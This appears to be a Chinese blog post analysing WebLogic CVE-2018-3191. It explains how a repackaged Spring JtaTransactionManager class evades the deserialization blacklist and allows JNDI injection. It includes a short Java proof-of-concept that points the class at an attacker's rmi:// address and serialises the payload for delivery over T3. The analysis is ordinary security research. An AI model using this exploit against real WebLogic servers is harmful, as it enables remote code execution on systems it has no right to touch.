zoukankan      html  css  js  c++  java
  • weblogic之CVE-2018-3191漏洞分析

    weblogic之CVE-2018-3191漏洞分析

    理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html
    引用廖新喜说的,说白的就是反序列化时lookup中的参数可控,导致 JNDI注入

    AbstractPlatformTransactionManager这个黑名单就是用于防止Spring JNDI注入,从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样,只是来源于不同的包。

    看下利用过程:
    生成poc.
    Alt text
    服务器开启jndi服务,ExportObject.java恶意类就是弹个计算器
    Alt text
    通过T3协议发送数据包,服务器向jndi请求恶意类,反序列化导致RCE:
    Alt text
    跟一下漏洞过程:
    来到com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager类的initUserTransactionAndTransactionManager方法,this.userTransactionName属性被赋值为恶意rmi地址,跟进164行:
    Alt text
    跟进lookup方法
    Alt text
    Alt text
    最后看一下poc生成过程:
    导入所用到的com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar包和com.bea.core.repackaged.apache.commons.logging_1.2.1.jar包,将UserTransactionName参数注入恶意类地址。

    		String test;
            System.out.println("hahha");
    
            test = "rmi://192.168.20.112:2222/aa";
            JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
            jtaTransactionManager.setUserTransactionName(test);
            File f = new File("E:\Struts2-Vulenv-master\ysoserial\src\main\java\ysoserial\obj.txt");
            ObjectOutputStream out1 = new ObjectOutputStream(new FileOutputStream(f));
            out1.writeObject(jtaTransactionManager);
            out1.flush();
            out1.close();
    

    Alt text

    参考链接:
    https://paper.tuisec.win/detail/a312d98e0285e24
    https://github.com/pyn3rd/CVE-2018-3191
    https://paper.seebug.org/718/

  • 相关阅读:
    First blog
    MyBatis Generator 配置详解
    JQueryValidate添加自定义方法校验密码
    MySQL学习(二)
    JVM原理讲解和调优
    一道HashMap面试题
    Nginx配置文件详细说明
    springboot系列文章之实现跨域请求(CORS)
    java多线程中的synchronized的byte[0]
    JVM常用命令
  • 原文地址:https://www.cnblogs.com/afanti/p/10256843.html
Copyright © 2011-2022 走看看